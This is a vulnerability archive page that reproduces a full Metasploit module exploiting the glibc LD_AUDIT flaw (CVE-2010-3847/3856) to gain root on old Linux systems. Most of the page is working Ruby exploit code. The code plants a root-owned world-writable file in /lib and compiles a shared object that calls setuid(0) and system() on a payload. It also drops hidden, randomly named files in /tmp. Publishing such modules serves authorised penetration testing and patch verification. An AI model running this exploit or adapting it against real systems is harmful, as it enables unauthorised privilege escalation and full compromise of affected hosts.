Lucene search

K
zdtBrendan Coles1337DAY-ID-29765
HistoryFeb 10, 2018 - 12:00 a.m.

glibc LD_AUDIT Arbitrary DSO Load Privilege Escalation Exploit

2018-02-1000:00:00
Brendan Coles
0day.today
514

0.001 Low

EPSS

Percentile

29.5%

This Metasploit module attempts to gain root privileges on Linux systems by abusing a vulnerability in the GNU C Library (glibc) dynamic linker. glibc ld.so in versions before 2.11.3, and 2.12.x before 2.12.2 does not properly restrict use of the LD_AUDIT environment variable when loading setuid executables. This allows loading arbitrary shared objects from the trusted library search path with the privileges of the suid user. This Metasploit module uses LD_AUDIT to load the libpcprofile.so shared object, distributed with some versions of glibc, and leverages arbitrary file creation functionality in the library constructor to write a root-owned world-writable file to a system trusted search path (usually /lib). The file is then overwritten with a shared object then loaded with LD_AUDIT resulting in arbitrary code execution. This Metasploit module has been tested successfully on glibc version 2.11.1 on Ubuntu 10.04 x86_64 and version 2.7 on Debian 5.0.4 i386. RHEL 5 is reportedly affected, but untested. Some glibc distributions do not contain the libpcprofile.so library required for successful exploitation.

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'msf/core/exploit/local/linux'
require 'msf/core/exploit/exe'

class MetasploitModule < Msf::Exploit::Local
  Rank = ExcellentRanking

  include Msf::Post::File
  include Msf::Exploit::EXE
  include Msf::Exploit::FileDropper
  include Msf::Exploit::Local::Linux

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'glibc LD_AUDIT Arbitrary DSO Load Privilege Escalation',
      'Description'    => %q{
        This module attempts to gain root privileges on Linux systems by abusing
        a vulnerability in the GNU C Library (glibc) dynamic linker.

        glibc ld.so in versions before 2.11.3, and 2.12.x before 2.12.2 does not
        properly restrict use of the LD_AUDIT environment variable when loading
        setuid executables. This allows loading arbitrary shared objects from
        the trusted library search path with the privileges of the suid user.

        This module uses LD_AUDIT to load the libpcprofile.so shared object,
        distributed with some versions of glibc, and leverages arbitrary file
        creation functionality in the library constructor to write a root-owned
        world-writable file to a system trusted search path (usually /lib).
        The file is then overwritten with a shared object then loaded with
        LD_AUDIT resulting in arbitrary code execution.

        This module has been tested successfully on glibc version 2.11.1 on
        Ubuntu 10.04 x86_64 and version 2.7 on Debian 5.0.4 i386.

        RHEL 5 is reportedly affected, but untested. Some glibc distributions
        do not contain the libpcprofile.so library required for successful
        exploitation.
      },
      'License'        => MSF_LICENSE,
      'Author'         =>
        [
          'Tavis Ormandy', # Discovery and exploit
          'zx2c4',         # "I Can't Read and I Won't Race You Either" exploit
          'Marco Ivaldi',  # raptor_ldaudit and raptor_ldaudit2 exploits
          'Todor Donev',   # libmemusage.so exploit
          'Brendan Coles'  # Metasploit
        ],
      'DisclosureDate' => 'Oct 18 2010',
      'Platform'       => 'linux',
      'Arch'           => [ ARCH_X86, ARCH_X64 ],
      'SessionTypes'   => [ 'shell', 'meterpreter' ],
      'Targets'        =>
        [
          [ 'Automatic', { } ],
          [ 'Linux x86', { 'Arch' => ARCH_X86 } ],
          [ 'Linux x64', { 'Arch' => ARCH_X64 } ]
        ],
      'DefaultTarget'  => 0,
      'References'     =>
        [
          [ 'CVE', '2010-3847' ],
          [ 'CVE', '2010-3856' ],
          [ 'BID', '44154' ],
          [ 'BID', '44347' ],
          [ 'EDB', '15274' ],
          [ 'EDB', '15304' ],
          [ 'EDB', '18105' ],
          [ 'URL', 'http://seclists.org/fulldisclosure/2010/Oct/257' ],
          [ 'URL', 'http://seclists.org/fulldisclosure/2010/Oct/344' ],
          [ 'URL', 'https://www.ubuntu.com/usn/usn-1009-1' ],
          [ 'URL', 'https://security-tracker.debian.org/tracker/CVE-2010-3847' ],
          [ 'URL', 'https://security-tracker.debian.org/tracker/CVE-2010-3856' ],
          [ 'URL', 'https://access.redhat.com/security/cve/CVE-2010-3847' ],
          [ 'URL', 'https://access.redhat.com/security/cve/CVE-2010-3856' ]
        ]
    ))
    register_options(
      [
        OptString.new('SUID_EXECUTABLE', [ true, 'Path to a SUID executable', '/bin/ping' ]),
        OptString.new('WritableDir',     [ true, 'A directory where we can write files', '/tmp' ])
      ])
  end

  def base_dir
    datastore['WritableDir']
  end

  def suid_exe_path
    datastore['SUID_EXECUTABLE']
  end

  def check
    glibc_banner = cmd_exec 'ldd --version'
    glibc_version = Gem::Version.new glibc_banner.scan(/^ldd\s+\(.*\)\s+([\d\.]+)/).flatten.first
    if glibc_version.to_s.eql? ''
      vprint_error 'Could not determine the GNU C library version'
      return CheckCode::Safe
    elsif glibc_version >= Gem::Version.new('2.12.2') ||
          (glibc_version >= Gem::Version.new('2.11.3') && glibc_version < Gem::Version.new('2.12'))
      vprint_error "GNU C Library version #{glibc_version} is not vulnerable"
      return CheckCode::Safe
    end
    vprint_good "GNU C Library version #{glibc_version} is vulnerable"

    lib = 'libpcprofile.so'
    @lib_dir = nil
    vprint_status "Checking for #{lib} in system search paths"
    search_paths = cmd_exec "env -i LD_PRELOAD=#{rand_text_alpha rand(10..15)} LD_DEBUG=libs env 2>&1 | grep 'search path='"
    search_paths.split('path=')[1..-1].join.split(':').each do |path|
      lib_dir = path.to_s.strip
      next if lib_dir.eql? ''
      libs = cmd_exec "ls '#{lib_dir}'"
      if libs.include? lib
        @lib_dir = lib_dir
        break
      end
    end
    if @lib_dir.nil?
      vprint_error "Could not find #{lib}"
      return CheckCode::Safe
    end
    vprint_good "Found #{lib} in #{@lib_dir}"

    unless setuid? suid_exe_path
      vprint_error "#{suid_exe_path} is not setuid"
      return CheckCode::Detected
    end
    vprint_good "#{suid_exe_path} is setuid"

    CheckCode::Appears
  end

  def upload_and_chmodx(path, data)
    print_status "Writing '#{path}' (#{data.size} bytes) ..."
    rm_f path
    write_file path, data
    cmd_exec "chmod +x '#{path}'"
    register_file_for_cleanup path
  end

  def on_new_session(client)
    # remove root owned shared object from system load path
    if client.type.eql? 'meterpreter'
      client.core.use 'stdapi' unless client.ext.aliases.include? 'stdapi'
      client.fs.file.rm @so_path
    else
      client.shell_command_token "rm #{@so_path}"
    end
  end

  def exploit
    check_status = check

    if check_status == CheckCode::Appears
      print_good 'The target appears to be vulnerable'
    elsif check_status == CheckCode::Detected
      fail_with Failure::BadConfig, "#{suid_exe_path} is not suid"
    else
      fail_with Failure::NotVulnerable, 'Target is not vulnerable'
    end

    payload_name = ".#{rand_text_alphanumeric rand(5..10)}"
    payload_path = "#{base_dir}/#{payload_name}"

    # Set target
    uname = cmd_exec 'uname -m'
    vprint_status "System architecture is #{uname}"
    if target.name.eql? 'Automatic'
      case uname
      when 'x86_64'
        my_target = targets[2]
      when /x86/, /i\d86/
        my_target = targets[1]
      else
        fail_with Failure::NoTarget, 'Unable to automatically select a target'
      end
    else
      my_target = target
    end
    print_status "Using target: #{my_target.name}"

    cpu = nil
    case my_target['Arch']
    when ARCH_X86
      cpu = Metasm::Ia32.new
    when ARCH_X64
      cpu = Metasm::X86_64.new
    else
      fail_with Failure::NoTarget, 'Target is not compatible'
    end

    # Compile shared object
    so_stub = %|
      extern int setuid(int);
      extern int setgid(int);
      extern int system(const char *__s);

      void init(void) __attribute__((constructor));

      void __attribute__((constructor)) init() {
        setuid(0);
        setgid(0);
        system("#{payload_path}");
      }
    |

    begin
      so = Metasm::ELF.compile_c(cpu, so_stub).encode_string(:lib)
    rescue
      print_error "Metasm encoding failed: #{$ERROR_INFO}"
      elog "Metasm encoding failed: #{$ERROR_INFO.class} : #{$ERROR_INFO}"
      elog "Call stack:\n#{$ERROR_INFO.backtrace.join "\n"}"
      fail_with Failure::Unknown, 'Metasm encoding failed'
    end

    # Upload shared object
    so_name = ".#{rand_text_alphanumeric rand(5..10)}"
    so_path = "#{base_dir}/#{so_name}"
    upload_and_chmodx so_path, so

    # Upload exploit
    @so_path = "#{@lib_dir}/#{so_name}.so"
    exp = %(
      umask 0
      LD_AUDIT="libpcprofile.so" PCPROFILE_OUTPUT="#{@so_path}" #{suid_exe_path} 2>/dev/null
      umask 0022
      cat #{so_path} > #{@so_path}
      LD_AUDIT="#{so_name}.so" #{suid_exe_path}
      echo > #{@so_path}
    )
    exp_name = ".#{rand_text_alphanumeric rand(5..10)}"
    exp_path = "#{base_dir}/#{exp_name}"
    upload_and_chmodx exp_path, exp

    # Upload payload
    upload_and_chmodx payload_path, generate_payload_exe

    # Launch exploit
    print_status 'Launching exploit...'
    # The echo at the end of the command is required
    # else the original session may die
    output = cmd_exec "#{exp_path}& echo "
    output.each_line { |line| vprint_status line.chomp }
  end
end

#  0day.today [2018-03-31]  #